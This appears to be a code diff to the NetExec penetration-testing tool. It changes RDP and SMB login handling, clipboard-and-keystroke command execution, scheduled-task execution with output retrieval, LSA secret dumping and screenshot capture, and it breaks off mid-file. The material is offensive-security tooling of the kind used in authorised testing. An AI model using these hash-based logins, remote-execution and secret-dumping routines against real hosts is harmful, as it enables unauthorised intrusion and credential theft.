self.hostname = sanitize_dns(info_domain.get("computername"), self.logger)
self.domain = sanitize_dns(info_domain.get("dnsdomainname"), self.logger)
self.remoteName = sanitize_dns(info_domain.get("dnscomputername"), self.logger) if self.kerberos else self.host
self.hostname = sanitize_dns(info_domain.get("computername") or self.host, self.logger)
self.domain = sanitize_dns(info_domain.get("dnsdomainname") or self.host, self.logger)
self.server_os = self.guess_os(info_domain)
self.logger.extra["hostname"] = self.hostname
break
@@ -169,6 +167,8 @@ class rdp(connection):
if self.args.local_auth:
self.domain = self.hostname
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
if not self.kdcHost and self.domain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
@@ -199,15 +199,13 @@ class rdp(connection):
async def check_nla(self):
self.logger.debug(f"Checking NLA for {self.host}")
probe_connection = None
try:
self.conn = self._create_rdp_connection(
None, supported_protocols=SUPP_PROTOCOLS.SSL
)
packetizer = TPKTPacketizer()
client = UniClient(self.target, packetizer)
probe_connection = await asyncio.wait_for(client.connect(), timeout=self.args.rdp_timeout)
self.conn._connection = probe_connection
self.conn._connection = await asyncio.wait_for(client.connect(), timeout=self.args.rdp_timeout)
self.conn._x224net = X224Network(self.conn._connection)
_, err = await asyncio.wait_for(self.conn._x224net.client_negotiate(0, SUPP_PROTOCOLS.SSL), timeout=self.args.rdp_timeout)
# If no error SSL supported if SSL_NOT_ALLOWED_BY_SERVER error, plain RDP supported
@@ -216,48 +214,47 @@ class rdp(connection):
return
except Exception:
pass
finally:
# this probe socket is not owned by aardwolf, terminate() would not close it
if probe_connection is not None:
await probe_connection.close()
async def connect_rdp(self):
"""Connect to the RDP server. Does NOT clean up on exit."""
_, err = await asyncio.wait_for(self.conn.connect(), timeout=self.args.rdp_timeout)
async def connect_rdp(self, auth_only=False):
"""Connect to the RDP server. Does NOT clean up on exit.
When auth_only is True, performs only CredSSP/NLA authentication
without establishing a full RDP session. This verifies credentials
without creating a disconnected session on single-session hosts.
"""
_, err = await asyncio.wait_for(self.conn.connect(auth_only=auth_only), timeout=self.args.rdp_timeout)
if err is not None:
raise err
self.logger.debug(f"RDP negotiated protocol: {self.conn.x224_protocol}, authz_result: {self.conn.authz_result}")
async def terminate_conn(self):
"""Terminate the RDP connection with a timeout so cleanup doesn't hang (https://github.com/skelsec/aardwolf/issues/43)."""
"""Terminate the RDP connection with a timeout so cleanup doesn't hang."""
if self.conn is not None:
with contextlib.suppress(Exception):
await asyncio.wait_for(self.conn.terminate(), timeout=self.args.rdp_timeout)
def disconnect(self):
self.runner.run(self.terminate_conn())
async def connect_rdp_with_cleanup(self):
async def connect_rdp_with_cleanup(self, auth_only=False):
"""Connect to the RDP server and always terminate the connection on exit"""
try:
await self.connect_rdp()
await self.connect_rdp(auth_only=auth_only)
finally:
await self.terminate_conn()
async def login_and_confirm(self):
"""Log on and return whether a real session opened (Save Session Info PDU). The session stays open for -x/-X/--screenshot until disconnect().
"""Connect and return whether a real session opened (Save Session Info PDU), always cleaning up.
That PDU never comes when access is authorized but the logon is refused (restricted admin).
"""
await self.terminate_conn() # a session kept by an earlier success (--continue-on-success) would take a session slot this logon needs
self.conn = self._create_rdp_connection(self.auth)
await self.connect_rdp()
try:
await asyncio.wait_for(self.conn.logon_info_received.wait(), timeout=self.args.rdp_timeout)
return True
except TimeoutError:
self.logger.debug("No Save Session Info PDU: RDP access is granted but the interactive logon was refused (restricted admin)")
return False
await self.connect_rdp()
try:
await asyncio.wait_for(self.conn.logon_info_received.wait(), timeout=self.args.rdp_timeout)
return True
except TimeoutError:
self.logger.debug("No Save Session Info PDU: RDP access is granted but the interactive logon was refused (restricted admin)")
return False
finally:
await self.terminate_conn()
def rdp_access_denied(self):
"""Whether the Early User Authorization Result PDU says the account has no RDP access right at all.
@@ -268,7 +265,6 @@ class rdp(connection):
return self.conn.authz_result == AUTHZ_ACCESS_DENIED
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
self.username = username
try:
lmhash = ""
nthash = ""
@@ -289,10 +285,14 @@ class rdp(connection):
if useCache:
stype = asyauthSecret.CCACHE
password = getenv("KRB5CCNAME")
ccache = CCache.loadFile(password)
ticketCreds = ccache.credentials[0]
username = ticketCreds["client"].prettyPrint().decode().split("@")[0]
if not password:
password = password if password else getenv("KRB5CCNAME")
if "/" in password:
self.logger.fail("Kerberos ticket need to be on the local directory")
return False
ccache = CCache.loadFile(getenv("KRB5CCNAME"))
ticketCreds = ccache.credentials[0]
username = ticketCreds["client"].prettyPrint().decode().split("@")[0]
elif aesKey:
stype = asyauthSecret.AES
password = aesKey
@@ -320,7 +320,21 @@ class rdp(connection):
domain=domain,
stype=stype,
)
self.admin_privs = self.runner.run(self.login_and_confirm())
self.conn = self._create_rdp_connection(self.auth)
if self._execution_pending():
# auth_only verifies creds without opening a full session, which on single-session
# Win11 hosts would be left disconnected and break the clipboard execute_shell uses
# (commit ac6f5814). It needs CredSSP/NLA; if the server doesn't negotiate it aardwolf
# raises, so fall back to a full confirm on a FRESH connection (the failed one is
# already torn down and cannot be reconnected), which also sets admin_privs.
try:
asyncio.run(self.connect_rdp_with_cleanup(auth_only=True))
except RuntimeError as e:
self.logger.debug(f"auth_only unavailable ({e!s}); retrying with a full logon")
self.conn = self._create_rdp_connection(self.auth)
self.admin_privs = asyncio.run(self.login_and_confirm())
else:
self.admin_privs = asyncio.run(self.login_and_confirm())
self.logger.success(
"{}\\{}{} {}".format(
@@ -369,8 +383,11 @@ class rdp(connection):
)
return False
def _execution_pending(self):
"""Check if command execution will follow authentication."""
return bool(self.args.execute or self.args.ps_execute)
def plaintext_login(self, domain, username, password):
self.username = username
try:
self.auth = NTLMCredential(
secret=password,
@@ -378,7 +395,21 @@ class rdp(connection):
domain=domain,
stype=asyauthSecret.PASS,
)
self.admin_privs = self.runner.run(self.login_and_confirm())
self.conn = self._create_rdp_connection(self.auth)
if self._execution_pending():
# auth_only verifies creds without opening a full session, which on single-session
# Win11 hosts would be left disconnected and break the clipboard execute_shell uses
# (commit ac6f5814). It needs CredSSP/NLA; if the server doesn't negotiate it aardwolf
# raises, so fall back to a full confirm on a FRESH connection (the failed one is
# already torn down and cannot be reconnected), which also sets admin_privs.
try:
asyncio.run(self.connect_rdp_with_cleanup(auth_only=True))
except RuntimeError as e:
self.logger.debug(f"auth_only unavailable ({e!s}); retrying with a full logon")
self.conn = self._create_rdp_connection(self.auth)
self.admin_privs = asyncio.run(self.login_and_confirm())
else:
self.admin_privs = asyncio.run(self.login_and_confirm())
self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}")
if not self.args.local_auth and self.username != "":
@@ -406,7 +437,6 @@ class rdp(connection):
return False
def hash_login(self, domain, username, ntlm_hash):
self.username = username
try:
self.auth = NTLMCredential(
secret=ntlm_hash,
@@ -414,7 +444,21 @@ class rdp(connection):
domain=domain,
stype=asyauthSecret.NT,
)
self.admin_privs = self.runner.run(self.login_and_confirm())
self.conn = self._create_rdp_connection(self.auth)
if self._execution_pending():
# auth_only verifies creds without opening a full session, which on single-session
# Win11 hosts would be left disconnected and break the clipboard execute_shell uses
# (commit ac6f5814). It needs CredSSP/NLA; if the server doesn't negotiate it aardwolf
# raises, so fall back to a full confirm on a FRESH connection (the failed one is
# already torn down and cannot be reconnected), which also sets admin_privs.
try:
asyncio.run(self.connect_rdp_with_cleanup(auth_only=True))
except RuntimeError as e:
self.logger.debug(f"auth_only unavailable ({e!s}); retrying with a full logon")
self.conn = self._create_rdp_connection(self.auth)
self.admin_privs = asyncio.run(self.login_and_confirm())
else:
self.admin_privs = asyncio.run(self.login_and_confirm())
self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}")
if not self.args.local_auth and self.username != "":
@@ -587,9 +631,13 @@ Add-Type -AssemblyName System.Windows.Forms
await self._send_win_r()
await self.conn.set_current_clipboard_text(command)
# server must acknowledge our clipboard data before we trigger the read
response = await self._wait_for_event({"CLIPBOARD_FORMAT_LIST_RESPONSE"}, self.args.clipboard_delay)
response = await self._wait_for_event(
{"CLIPBOARD_FORMAT_LIST_RESPONSE"}, self.args.clipboard_delay
)
if not response.accepted:
raise RuntimeError("Remote session rejected the clipboard command data")
raise RuntimeError(
"Remote session rejected the clipboard command data"
)
# type a one-liner that reads and executes the clipboard we just set
# uses .NET WinForms API instead of Get-Clipboard (which requires PS5+)
await self._send_keystrokes(
@@ -621,9 +669,21 @@ Add-Type -AssemblyName System.Windows.Forms
async def execute_shell(self, payload, get_output, shell_type):
marker = uuid4().hex if get_output else None
command = self._build_execution_command(payload, shell_type, marker, get_output)
command = self._build_execution_command(
payload, shell_type, marker, get_output
)
self.logger.debug(f"Executing {shell_type} command through {'an encoded PowerShell launcher' if get_output else 'interactive keyboard input'}")
try:
self.conn = self._create_rdp_connection(self.auth)
await self.connect_rdp()
except Exception as e:
self.logger.debug(f"Error connecting to RDP: {e!s}")
if "CredSSP" in str(e) or "STATUS_LOGON" in str(e):
self.logger.fail(f"Authentication failed: {e!s}")
await self.terminate_conn()
return None
try:
if get_output:
self.logger.success("Waiting for clipboard to be ready...")
@@ -651,7 +711,9 @@ Add-Type -AssemblyName System.Windows.Forms
try:
await self._submit_run_command(command)
except TimeoutError:
self.logger.fail("Remote session did not acknowledge the clipboard command data")
self.logger.fail(
"Remote session did not acknowledge the clipboard command data"
)
return None
else:
await self._submit_typed_run_command(command)
@@ -684,6 +746,10 @@ Add-Type -AssemblyName System.Windows.Forms
self.logger.debug(f"Unexpected error: {e!s}")
self.logger.fail(f"Command execution failed: {e!s}")
return None
finally:
# clean up the connection with a timeout to prevent aardwolf deadlock (see https://github.com/skelsec/aardwolf/issues/43)
self.logger.debug("Terminating RDP connection")
await self.terminate_conn()
def execute(self, payload=None, shell_type="cmd"):
"""Execute a command via RDP"""
@@ -692,15 +758,10 @@ Add-Type -AssemblyName System.Windows.Forms
get_output = bool(not self.args.no_output)
if not self.username: # every login method sets it, so empty means no credentials were given and there is no desktop to capture
self.logger.fail("-x/-X need credentials")
return None
if self.conn.disconnected_evt.is_set(): # valid credentials without the RDP right open no session: skip silently, like smb -x without admin rights
return None
self.logger.success(f"Executing command: {payload}")
try:
result = self.runner.run(self.execute_shell(payload, get_output, shell_type))
result = asyncio.run(self.execute_shell(payload, get_output, shell_type))
if result is not None:
self.logger.debug("Command execution completed")
@@ -712,50 +773,52 @@ Add-Type -AssemblyName System.Windows.Forms
def ps_execute(self):
self.execute(payload=self.args.ps_execute, shell_type="powershell")
async def save_screenshot(self, desktop, label):
filename_stem = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=251)
filename = await (Path(NXC_PATH) / "screenshots" / f"{filename_stem}.png").expanduser()
desktop.save(filename, "png")
self.logger.highlight(f"{label} saved {filename}")
async def screen(self):
try:
await asyncio.sleep(self.args.screentime)
if self.conn.desktop_buffer_has_data:
await self.save_screenshot(self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL), "Screenshot")
else:
self.logger.fail(f"No desktop data after {self.args.screentime}s, try a longer --screentime")
self.conn = self._create_rdp_connection(self.auth)
await self.connect_rdp()
await asyncio.sleep(5)
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
filename_stem = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=251)
filename = await (Path(NXC_PATH) / "screenshots" / f"{filename_stem}.png").expanduser()
buffer.save(filename, "png")
self.logger.highlight(f"Screenshot saved {filename}")
except Exception as e:
self.logger.fail(f"Could not take the screenshot: {e!s}")
self.logger.debug(f"Error taking screenshot: {e!s}")
finally:
await self.terminate_conn()
def screenshot(self):
if not self.username: # every login method sets it, so empty means no credentials were given and there is no desktop to capture
self.logger.fail("--screenshot needs credentials, use --nla-screenshot to capture the login screen")
elif not self.conn.disconnected_evt.is_set(): # no session to capture: same silent skip as execute()
self.runner.run(self.screen())
asyncio.run(self.screen())
async def nla_screen(self):
self.auth = NTLMCredential(secret="", username="", domain="", stype=asyauthSecret.PASS)
connected = False
for proto in self.protoflags_nla:
try:
self.conn = self._create_rdp_connection(self.auth, supported_protocols=proto)
self.conn = self._create_rdp_connection(
self.auth, supported_protocols=proto
)
await self.connect_rdp()
except Exception as e:
self.logger.debug(f"Failed to connect for nla_screenshot with {proto} {e}")
await self.terminate_conn()
continue
connected = True
try:
await asyncio.sleep(self.args.screentime)
await asyncio.sleep(int(self.args.screentime))
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
await self.save_screenshot(self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL), "NLA Screenshot")
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
filename_stem = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=251)
filename = await (Path(NXC_PATH) / "screenshots" / f"{filename_stem}.png").expanduser()
buffer.save(filename, "png")
self.logger.highlight(f"NLA Screenshot saved {filename}")
return
finally:
await self.terminate_conn()
self.logger.fail(f"No login screen data after {self.args.screentime}s, try a longer --screentime" if connected else "Could not connect without NLA to capture the login screen")
def nla_screenshot(self):
if not self.nla:
self.runner.run(self.nla_screen())
asyncio.run(self.nla_screen())
+1 -1
View File
@@ -14,7 +14,7 @@ def proto_args(parser, parents):
egroup = rdp_parser.add_argument_group("Screenshot", "Remote Desktop Screenshot")
egroup.add_argument("--screenshot", action="store_true", help="Screenshot RDP if connection success")
egroup.add_argument("--screentime", type=int, default=5, help="Time to wait for desktop image")
egroup.add_argument("--screentime", type=int, default=10, help="Time to wait for desktop image")
egroup.add_argument("--res", default="1024x768", help="Resolution in WIDTHxHEIGHT format")
cgroup = rdp_parser.add_argument_group("Command Execution")
+34 -31
View File
@@ -131,7 +131,7 @@ class smb(connection):
self.server_os_major = None
self.server_os_minor = None
self.server_os_build = None
self.os_arch = None
self.os_arch = 0
self.hash = None
self.lmhash = ""
self.nthash = ""
@@ -187,7 +187,7 @@ class smb(connection):
except Exception as e:
self.logger.debug(f"Error retrieving os arch of {self.host}: {e!s}")
return None
return 0
def enum_host_info(self):
self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
@@ -204,33 +204,27 @@ class smb(connection):
self.no_ntlm = True
self.logger.debug("NTLM not supported")
# Runs before the DC check: the RPC tier reuses its port 135 result instead of probing the port again
self.os_arch = self.get_os_arch()
aggressive_check = bool(self.args.generate_hosts_file or self.args.generate_krb5_file)
self.is_host_dc(aggressive_check=aggressive_check)
# self.domain is the attribute we authenticate with
# self.targetDomain is the attribute which gets displayed as host domain
# self.remoteName is the attribute which gets used in the SPN
self.hostname = self.host
self.targetDomain = self.host
self.remoteName = self.host
if not self.no_ntlm:
# Try to get hostname with getServerDNSHostName as getServerName is truncated to 15 chars
dns_hostname = sanitize_dns(self.conn.getServerDNSHostName() or self.conn.getServerName(), self.logger).upper()
dns_hostname = self.conn.getServerDNSHostName()
if dns_hostname and "." in dns_hostname:
self.hostname = dns_hostname.split(".", 1)[0]
hostname = dns_hostname.split(".", 1)[0]
elif dns_hostname:
hostname = dns_hostname
else:
self.hostname = dns_hostname
hostname = self.conn.getServerName()
self.hostname = sanitize_dns(hostname, self.logger)
self.targetDomain = sanitize_dns(self.conn.getServerDNSDomainName() or self.hostname, self.logger)
# Preserve IP as target if not required by Kerberos to avoid issues when DNS is not resolvable
self.remoteName = dns_hostname if self.kerberos else self.host
else:
try:
# If we know the host is a DC we can still get the hostname over LDAP if NTLM is not available
if self.isdc and detect_if_ip(self.host):
self.hostname, self.domain, self.remoteName = LDAPResolution(self.host).get_resolution()
self.hostname, self.domain = LDAPResolution(self.host).get_resolution()
self.targetDomain = self.domain
# If we can't authenticate with NTLM and the target is supplied as a FQDN we must parse it
else:
@@ -238,12 +232,19 @@ class smb(connection):
import socket
socket.inet_aton(self.host)
self.logger.debug("NTLM authentication not available! Authentication will fail without a valid hostname and domain name")
self.hostname = self.host
self.targetDomain = self.host
except OSError:
if self.host.count(".") >= 1:
self.hostname = self.host.split(".")[0]
self.targetDomain = ".".join(self.host.split(".")[1:])
else:
self.hostname = self.host
self.targetDomain = self.host
except Exception as e:
self.logger.debug(f"Error getting hostname from LDAP: {e}")
self.hostname = self.host
self.targetDomain = self.host
if self.args.domain:
self.domain = self.args.domain
@@ -258,6 +259,7 @@ class smb(connection):
# As of June 2024 Samba will always report the version as "Windows 6.1", apparently due to a bug https://stackoverflow.com/a/67577401/17395725
# Together with the reported build version "0" by Samba we can assume that it is a Samba server. Windows should always report a build version > 0
# Also only on Windows we should get an OS arch as for that we would need MSRPC
try:
self.server_os = self.conn.getServerOS()
self.server_os_major = self.conn.getServerOSMajor()
@@ -270,9 +272,9 @@ class smb(connection):
if isinstance(self.server_os.lower(), bytes):
self.server_os = self.server_os.decode("utf-8")
if "Windows 6.1" in self.server_os and self.server_os_build == 0:
if "Windows 6.1" in self.server_os and self.server_os_build == 0 and self.os_arch == 0:
self.server_os = "Unix - Samba"
elif self.server_os_build == 0:
elif self.server_os_build == 0 and self.os_arch == 0:
self.server_os = "Unix"
self.logger.debug(f"Server OS: {self.server_os} {self.server_os_major}.{self.server_os_minor} build {self.server_os_build}")
@@ -283,6 +285,8 @@ class smb(connection):
except Exception as e:
self.logger.debug(e)
self.os_arch = self.get_os_arch()
# moved at the end because it can cause issues with some DCs if we try to login as guest before checking if dc or not
if check_guest_account and not self.no_ntlm:
try:
@@ -310,6 +314,9 @@ class smb(connection):
except Exception as e:
self.logger.debug(f"Error adding host {self.host} into db: {e!s}")
# DCOM connection with kerberos needed
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.targetDomain}"
# using kdcHost is buggy on impacket when using trust relation between ad so we kdcHost must stay to none if targetdomain is not equal to domain
if not self.kdcHost and self.domain and self.domain == self.targetDomain:
result = self.resolver(self.domain)
@@ -420,8 +427,6 @@ class smb(connection):
if self.args.generate_st:
self.save_st(tgs, sk, spn if self.args.spn else None)
if not tgs and not useCache:
self.logger.debug(f"TGS for cifs/{self.remoteName} will be requested")
self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs)
if self.args.generate_st:
@@ -868,7 +873,9 @@ class smb(connection):
if self.isdc is not None:
return self.isdc
probes = [self._is_dc_via_smb, self._is_dc_via_rpc]
probes = [self._is_dc_via_smb]
if aggressive_check:
probes.append(self._is_dc_via_rpc)
if self.no_ntlm or aggressive_check:
probes.append(self._is_dc_via_kerberos)
@@ -949,17 +956,15 @@ class smb(connection):
def _is_dc_via_rpc(self):
"""
Unauthenticated Netlogon endpoint-mapper lookup on 135. NTLM-agnostic
and needs no session. get_os_arch() already talks to the endpoint mapper
on every scan, so this adds no new port and runs only when that call
reached 135 (no extra timeout when 135 is filtered, e.g. over proxychains).
and needs no session;
"""
from impacket.dcerpc.v5 import nrpc, epm
if self.os_arch is None:
self.logger.debug("Port 135 unreachable (OS arch probe failed): RPC inconclusive, deferring to Kerberos")
if not self._is_port_open(135):
self.logger.debug("Port 135 closed/filtered: RPC inconclusive, deferring to Kerberos")
return None
self.logger.debug("Port 135 reachable, attempting Netlogon MSRPC lookup...")
self.logger.debug("Port 135 is open, attempting Netlogon MSRPC lookup...")
try:
epm.hept_map(self.host, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
self.logger.debug("Netlogon endpoint registered: host is a DC")
@@ -1981,8 +1986,7 @@ class smb(connection):
namespace = self.args.wmi_namespace
try:
*_, tgt, _ = self.conn.getCredentials()
dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host, TGT=tgt)
dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
flag, stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.dcom_timeout, self.logger)
if not flag or not stringBinding:
@@ -2369,8 +2373,7 @@ class smb(connection):
@requires_admin
def lsa(self, quiet=False):
try:
# --dpapi calls lsa() without --lsa, so it gets the default regdump mode too
self.enable_remoteops(regsecret=(self.args.lsa != "secdump"))
self.enable_remoteops(regsecret=(self.args.lsa == "regdump"))
def add_lsa_secret(secret):
add_lsa_secret.secrets += 1
@@ -2398,7 +2401,7 @@ class smb(connection):
add_lsa_secret.secrets = 0
if self.remote_ops and self.bootkey:
if self.args.lsa != "secdump":
if self.args.lsa == "regdump":
LSA = RegSecretsLSASecrets(
self.bootkey,
self.remote_ops,
+50 -19
View File
@@ -10,7 +10,6 @@ from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from nxc.helpers.misc import gen_random_string
from nxc.helpers.rpc import NXCRPCConnection
from nxc.protocols.smb.exec_output import get_output_file
class TSCH_EXEC:
@@ -163,30 +162,62 @@ class TSCH_EXEC:
except tsch.DCERPCSessionError as e:
self.logger.debug(f"hSchRpcRun returned: {e}")
# A task starts within seconds of the RegistrationTrigger. Poll for up to RUN_TIMEOUT seconds so a
# slow host still gets a grace period, and a task that can never run (e.g. a run-as user with no
# interactive session, which a TASK_LOGON_NONE task needs) is detected instead of looping forever.
RUN_TIMEOUT = 30
RUN_CHECK_DELAY = 2
last_error = None
for _ in range(RUN_TIMEOUT // RUN_CHECK_DELAY):
done = False
while not done:
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task_name}")
try:
if tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task_name}")["pLastRuntime"]["wYear"] != 0:
break # the task has run
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task_name}")
except tsch.DCERPCSessionError as e:
last_error = e # SCHED_S_TASK_HAS_NOT_RUN or a transient error right after registration; keep polling
sleep(RUN_CHECK_DELAY)
else:
self.logger.fail(f"Task \\{self.task_name} did not start within {RUN_TIMEOUT}s. If a specific run-as user was set, it likely has no interactive session on the target (a TASK_LOGON_NONE task only runs while that user is logged on). Last error: {last_error}")
if e.error_code == 0x00041303:
sleep(2)
continue
self.logger.fail(f"Error retrieving task last run info: {e}")
break
if resp["pLastRuntime"]["wYear"] != 0:
done = True
else:
sleep(2)
self.logger.info(f"Deleting task \\{self.task_name}")
try:
tsch.hSchRpcDelete(dce, f"\\{self.task_name}")
except Exception as e:
self.logger.fail(f"[OPSEC] Could not delete scheduled task \\{self.task_name} on the target: {e}")
tsch.hSchRpcDelete(dce, f"\\{self.task_name}")
if self.__retOutput:
get_output_file(self.__connection.conn, self.__share, self.__output_filename, self.output_callback, self.__tries, self.logger, "ATEXEC")
tries = 1
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
sleep(0.4)
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
self.__connection.conn.getFile(self.__share, self.__output_filename, self.output_callback)
break
except Exception as e:
if tries >= self.__tries:
self.logger.fail("ATEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
break
if "STATUS_BAD_NETWORK_NAME" in str(e):
self.logger.fail(f"ATEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
break
elif "STATUS_VIRUS_INFECTED" in str(e):
self.logger.fail("Command did not run because a virus was detected")
break
# When executing PowerShell and the command is still running, we get a sharing violation
# We can use that information to wait longer than if the file is not found (probably av or something)
if "STATUS_SHARING_VIOLATION" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output_filename} is still in use with {self.__tries - tries} tries left, retrying...")
tries += 1
sleep(1)
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output_filename} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
tries += 10
sleep(1)
else:
self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
tries += 1
sleep(1)
try:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}")
self.__connection.conn.deleteFile(self.__share, self.__output_filename)
except Exception:
pass
dce.disconnect()
-53
View File
@@ -1,53 +0,0 @@
from time import monotonic, sleep
def get_output_file(conn, share, filename, callback, tries, logger, method, first_read_delay=0.1):
"""Read the output file of an executed command, then delete it.
Most commands finish within a few hundred ms, so the file is read every 0.1s during the first 0.4s
(these quick reads don't count against --get-output-tries), then every 1s.
"""
path = f"{share}\\" + filename.lstrip("\\")
quick_until = monotonic() + 0.4
sleep(first_read_delay)
attempt = 1
while True:
try:
logger.info(f"Attempting to read {path}")
conn.getFile(share, filename, callback)
break
except Exception as e:
if monotonic() < quick_until and ("STATUS_SHARING_VIOLATION" in str(e) or "STATUS_OBJECT_NAME_NOT_FOUND" in str(e)):
sleep(0.1)
elif attempt >= tries:
logger.fail(f"{method}: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
break
elif "STATUS_BAD_NETWORK_NAME" in str(e):
logger.fail(f"{method}: Getting the output file failed - target has blocked access to the share: {share} (but the command may have executed!)")
break
elif "STATUS_VIRUS_INFECTED" in str(e):
logger.fail("Command did not run because a virus was detected")
break
# When executing PowerShell and the command is still running, we get a sharing violation
# We can use that information to wait longer than if the file is not found (probably av or something)
elif "STATUS_SHARING_VIOLATION" in str(e):
logger.info(f"File {path} is still in use with {tries - attempt} tries left, retrying...")
attempt += 1
sleep(1)
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
logger.info(f"File {path} not found with {tries - attempt} tries left, deducting 10 tries and retrying...")
attempt += 10
sleep(1)
else:
logger.debug(f"Exception when trying to read output file: {e!s}. {tries - attempt} tries left, retrying...")
attempt += 1
sleep(1)
try:
logger.debug(f"Deleting file {path}")
conn.deleteFile(share, filename)
except Exception as e:
if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
logger.debug(f"No output file {path} to delete")
else:
logger.fail(f"[OPSEC] {method}: Could not delete the output file {path}: {e}")
+38 -2
View File
@@ -30,7 +30,6 @@ from time import sleep
from nxc.helpers.rpc import dcom_FirewallChecker
from nxc.helpers.misc import gen_random_string
from nxc.paths import TMP_PATH
from nxc.protocols.smb.exec_output import get_output_file
from impacket.dcerpc.v5.dcom.oaut import (
IID_IDispatch,
@@ -251,4 +250,41 @@ class MMCEXEC:
self.__outputBuffer = ""
return
get_output_file(self.__smbconnection, self.__share, self.__output, self.output_callback, self.__tries, self.logger, "MMCEXEC")
tries = 1
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
sleep(0.4)
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
break
except Exception as e:
if tries >= self.__tries:
self.logger.fail("MMCEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
break
if "STATUS_BAD_NETWORK_NAME" in str(e):
self.logger.fail(f"MMCEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
break
elif "STATUS_VIRUS_INFECTED" in str(e):
self.logger.fail("Command did not run because a virus was detected")
break
# When executing powershell and the command is still running, we get a sharing violation
# We can use that information to wait longer than if the file is not found (probably av or something)
if "STATUS_SHARING_VIOLATION" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} tries left, retrying...")
tries += 1
sleep(1)
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
tries += 10
sleep(1)
else:
self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
tries += 1
sleep(1)
try:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
self.__smbconnection.deleteFile(self.__share, self.__output)
except Exception:
pass
-1
View File
@@ -11,7 +11,6 @@ def proto_args(parser, parents):
smb_parser.add_argument("--generate-st", type=str, dest="generate_st", help="Store a Service Ticket in the specified file. Use with --delegate to save the S4U ST, or without --delegate (together with --spn) to request a regular ST for the given SPN")
self_delegate_arg = smb_parser.add_argument("--self", dest="no_s4u2proxy", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)")
u2u_arg = smb_parser.add_argument("--u2u", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Use User-to-User (U2U) authentication with S4U2Self")
smb_parser.add_argument("--unpac", action="store_true", help="UnPAC the hash: recover the NT hash from the PAC of the PKINIT TGT (requires a certificate)")
dgroup = smb_parser.add_mutually_exclusive_group()
dgroup.add_argument("-d", "--domain", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to")
+37 -3
View File
@@ -1,10 +1,10 @@
import os
from os.path import join as path_join
from time import sleep
from impacket.dcerpc.v5 import scmr
from nxc.helpers.misc import gen_random_string
from nxc.paths import TMP_PATH
from nxc.helpers.rpc import NXCRPCConnection
from nxc.protocols.smb.exec_output import get_output_file
class SMBEXEC:
@@ -97,8 +97,42 @@ class SMBEXEC:
self.__outputBuffer = ""
return
# The service start returns once the command is done, so the file can be read right away
